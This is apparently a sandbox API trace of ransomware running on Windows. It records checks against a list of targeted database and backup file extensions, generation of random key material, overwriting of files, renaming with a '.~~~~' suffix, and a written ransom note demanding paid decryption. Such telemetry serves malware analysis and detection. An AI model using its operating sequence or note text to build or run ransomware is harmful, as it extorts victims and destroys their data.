	[0083.227] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0083.227] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0083.227] CloseHandle (hObject=0x118) returned 1
	[0083.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4830
	[0083.228] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.~~~~")) returned 1
	[0083.228] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4830 | out: hHeap=0x300000) returned 1
	[0083.228] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0083.228] GetLastError () returned 0x0
	[0083.229] RtlWakeConditionVariable () returned 0x365f70
	[0083.229] GetCurrentThreadId () returned 0x9f4
	[0083.229] GetCurrentThreadId () returned 0x9f4
	[0083.229] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa5b0
	[0083.229] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807aa8 | out: hHeap=0x300000) returned 1
	[0083.229] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2058 | out: hHeap=0x300000) returned 1
	[0083.229] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2807aa8
	[0083.229] lstrlenW (lpString=".scr") returned 4
	[0083.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".scr") returned 0x0
	[0083.229] lstrlenW (lpString=".cmd") returned 4
	[0083.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".cmd") returned 0x0
	[0083.229] lstrlenW (lpString=".dll") returned 4
	[0083.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".dll") returned 0x0
	[0083.229] lstrlenW (lpString=".bat") returned 4
	[0083.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".bat") returned 0x0
	[0083.229] lstrlenW (lpString=".cpl") returned 4
	[0083.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".cpl") returned 0x0
	[0083.229] lstrlenW (lpString=".sys") returned 4
	[0083.230] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".sys") returned 0x0
	[0083.230] lstrlenW (lpString=".msc") returned 4
	[0083.230] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".msc") returned 0x0
	[0083.230] lstrlenW (lpString=".com") returned 4
	[0083.230] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".com") returned 0x0
	[0083.230] lstrlenW (lpString=".lnk") returned 4
	[0083.230] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".lnk") returned 0x0
	[0083.230] lstrlenW (lpString=".msp") returned 4
	[0083.230] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".msp") returned 0x0
	[0083.230] lstrlenW (lpString=".pif") returned 4
	[0083.230] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".pif") returned 0x0
	[0083.230] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0083.230] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch="msp\r\n.pif") returned 0x0
	[0083.230] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0083.230] lstrlenW (lpString=".sqb") returned 4
	[0083.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".sqb") returned 0x0
	[0083.231] lstrlenW (lpString=".ost") returned 4
	[0083.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".ost") returned 0x0
	[0083.231] lstrlenW (lpString=".txt") returned 4
	[0083.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".txt") returned 0x0
	[0083.231] lstrlenW (lpString=".mdt") returned 4
	[0083.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".mdt") returned 0x0
	[0083.231] lstrlenW (lpString=".BDB") returned 4
	[0083.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".BDB") returned 0x0
	[0083.231] lstrlenW (lpString=".eql") returned 4
	[0083.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".eql") returned 0x0
	[0083.231] lstrlenW (lpString=".DBF") returned 4
	[0083.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".DBF") returned 0x0
	[0083.231] lstrlenW (lpString=".EQL") returned 4
	[0083.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".EQL") returned 0x0
	[0083.231] lstrlenW (lpString=".FDB") returned 4
	[0083.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".FDB") returned 0x0
	[0083.231] lstrlenW (lpString=".EDB") returned 4
	[0083.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".EDB") returned 0x0
	[0083.231] lstrlenW (lpString=".DACPAC") returned 7
	[0083.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".DACPAC") returned 0x0
	[0083.231] lstrlenW (lpString=".VHD") returned 4
	[0083.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".VHD") returned 0x0
	[0083.231] lstrlenW (lpString=".DBV") returned 4
	[0083.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".DBV") returned 0x0
	[0083.232] lstrlenW (lpString=".dacpac") returned 7
	[0083.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".dacpac") returned 0x0
	[0083.232] lstrlenW (lpString=".sdf") returned 4
	[0083.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".sdf") returned 0x0
	[0083.232] lstrlenW (lpString=".accdb") returned 6
	[0083.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".accdb") returned 0x0
	[0083.232] lstrlenW (lpString=".DBX") returned 4
	[0083.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".DBX") returned 0x0
	[0083.232] lstrlenW (lpString=".MDT") returned 4
	[0083.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".MDT") returned 0x0
	[0083.232] lstrlenW (lpString=".SQB") returned 4
	[0083.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".SQB") returned 0x0
	[0083.232] lstrlenW (lpString=".vhd") returned 4
	[0083.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".vhd") returned 0x0
	[0083.232] lstrlenW (lpString=".bac") returned 4
	[0083.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".bac") returned 0x0
	[0083.232] lstrlenW (lpString=".mdf") returned 4
	[0083.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".mdf") returned 0x0
	[0083.232] lstrlenW (lpString=".BAK") returned 4
	[0083.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".BAK") returned 0x0
	[0083.232] lstrlenW (lpString=".BAC") returned 4
	[0083.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".BAC") returned 0x0
	[0083.232] lstrlenW (lpString=".dbs") returned 4
	[0083.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".dbs") returned 0x0
	[0083.233] lstrlenW (lpString=".vhdx") returned 5
	[0083.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".vhdx") returned 0x0
	[0083.233] lstrlenW (lpString=".NDF") returned 4
	[0083.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".NDF") returned 0x0
	[0083.233] lstrlenW (lpString=".dat") returned 4
	[0083.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".dat") returned 0x0
	[0083.233] lstrlenW (lpString=".DBS") returned 4
	[0083.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".DBS") returned 0x0
	[0083.233] lstrlenW (lpString=".CKP") returned 4
	[0083.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".CKP") returned 0x0
	[0083.233] lstrlenW (lpString=".edb") returned 4
	[0083.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".edb") returned 0x0
	[0083.233] lstrlenW (lpString=".PST") returned 4
	[0083.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".PST") returned 0x0
	[0083.233] lstrlenW (lpString=".dbf") returned 4
	[0083.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".dbf") returned 0x0
	[0083.233] lstrlenW (lpString=".SQL") returned 4
	[0083.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".SQL") returned 0x0
	[0083.233] lstrlenW (lpString=".pst") returned 4
	[0083.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".pst") returned 0x0
	[0083.233] lstrlenW (lpString=".dbv") returned 4
	[0083.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".dbv") returned 0x0
	[0083.233] lstrlenW (lpString=".SDF") returned 4
	[0083.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".SDF") returned 0x0
	[0083.233] lstrlenW (lpString=".dtxs") returned 5
	[0083.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".dtxs") returned 0x0
	[0083.234] lstrlenW (lpString=".db3") returned 4
	[0083.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".db3") returned 0x0
	[0083.234] lstrlenW (lpString=".OST") returned 4
	[0083.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".OST") returned 0x0
	[0083.234] lstrlenW (lpString=".dbx") returned 4
	[0083.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".dbx") returned 0x0
	[0083.234] lstrlenW (lpString=".DB3") returned 4
	[0083.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".DB3") returned 0x0
	[0083.234] lstrlenW (lpString=".DAT") returned 4
	[0083.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".DAT") returned 0x0
	[0083.234] lstrlenW (lpString=".VHDX") returned 5
	[0083.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".VHDX") returned 0x0
	[0083.234] lstrlenW (lpString=".ndf") returned 4
	[0083.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".ndf") returned 0x0
	[0083.234] lstrlenW (lpString=".DB") returned 3
	[0083.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".DB") returned 0x0
	[0083.234] lstrlenW (lpString=".sql") returned 4
	[0083.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".sql") returned 0x0
	[0083.319] lstrlenW (lpString=".MYD") returned 4
	[0083.319] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".MYD") returned 0x0
	[0083.319] lstrlenW (lpString=".DBT") returned 4
	[0083.319] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".DBT") returned 0x0
	[0083.319] lstrlenW (lpString=".ACCDB") returned 6
	[0083.319] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".ACCDB") returned 0x0
	[0083.319] lstrlenW (lpString=".fdb") returned 4
	[0083.319] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".fdb") returned 0x0
	[0083.319] lstrlenW (lpString=".bak") returned 4
	[0083.320] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".bak") returned 0x0
	[0083.320] lstrlenW (lpString=".myd") returned 4
	[0083.320] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".myd") returned 0x0
	[0083.320] lstrlenW (lpString=".DTXS") returned 5
	[0083.320] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".DTXS") returned 0x0
	[0083.320] lstrlenW (lpString=".ckp") returned 4
	[0083.320] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".ckp") returned 0x0
	[0083.320] lstrlenW (lpString=".dbt") returned 4
	[0083.320] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".dbt") returned 0x0
	[0083.320] lstrlenW (lpString=".db") returned 3
	[0083.320] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".db") returned 0x0
	[0083.320] lstrlenW (lpString=".TXT") returned 4
	[0083.320] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".TXT") returned 0x0
	[0083.320] lstrlenW (lpString=".MDF") returned 4
	[0083.320] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".MDF") returned 0x0
	[0083.320] lstrlenW (lpString=".bdb") returned 4
	[0083.320] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".bdb") returned 0x0
	[0083.320] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0083.320] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0083.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0083.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0083.320] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0083.321] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0083.322] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0083.322] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0083.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0083.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2871ff0
	[0083.322] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20331184215) returned 1
	[0083.322] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9b7eea10, dwHighDateTime=0x1d60e1e)) 
	[0083.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0083.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0083.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0083.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2138
	[0083.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0083.322] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2138 | out: hHeap=0x300000) returned 1
	[0083.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0083.322] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0083.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38e730
	[0083.322] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0083.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870690
	[0083.322] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e730 | out: hHeap=0x300000) returned 1
	[0083.322] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0083.323] GetLastError () returned 0x0
	[0083.323] GetLastError () returned 0x0
	[0083.323] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0083.323] GetLastError () returned 0x0
	[0083.323] GetLastError () returned 0x0
	[0083.325] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffffaf6d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0083.325] WriteFile (in: hFile=0x118, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x5093, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x25dfec0*=0x5093, lpOverlapped=0x0) returned 1
	[0083.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0083.326] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.326] WriteFile (in: hFile=0x118, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0083.326] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0083.326] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0083.326] CloseHandle (hObject=0x118) returned 1
	[0083.341] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5748
	[0083.341] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.~~~~")) returned 1
	[0083.524] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5748 | out: hHeap=0x300000) returned 1
	[0083.524] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0083.524] GetLastError () returned 0x0
	[0083.524] RtlWakeConditionVariable () returned 0x365f70
	[0083.525] GetCurrentThreadId () returned 0x9f4
	[0083.525] GetCurrentThreadId () returned 0x9f4
	[0083.525] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5748
	[0083.525] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6528 | out: hHeap=0x300000) returned 1
	[0083.525] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2250 | out: hHeap=0x300000) returned 1
	[0083.525] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6528
	[0083.525] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0083.669] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0083.669] WriteFile (in: hFile=0x11c, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x25dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x25dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0083.670] CloseHandle (hObject=0x11c) returned 1
	[0083.670] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6528 | out: hHeap=0x300000) returned 1
	[0083.670] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5748 | out: hHeap=0x300000) returned 1
	[0083.670] RtlWakeConditionVariable () returned 0x365f70
	[0083.670] GetCurrentThreadId () returned 0x9f4
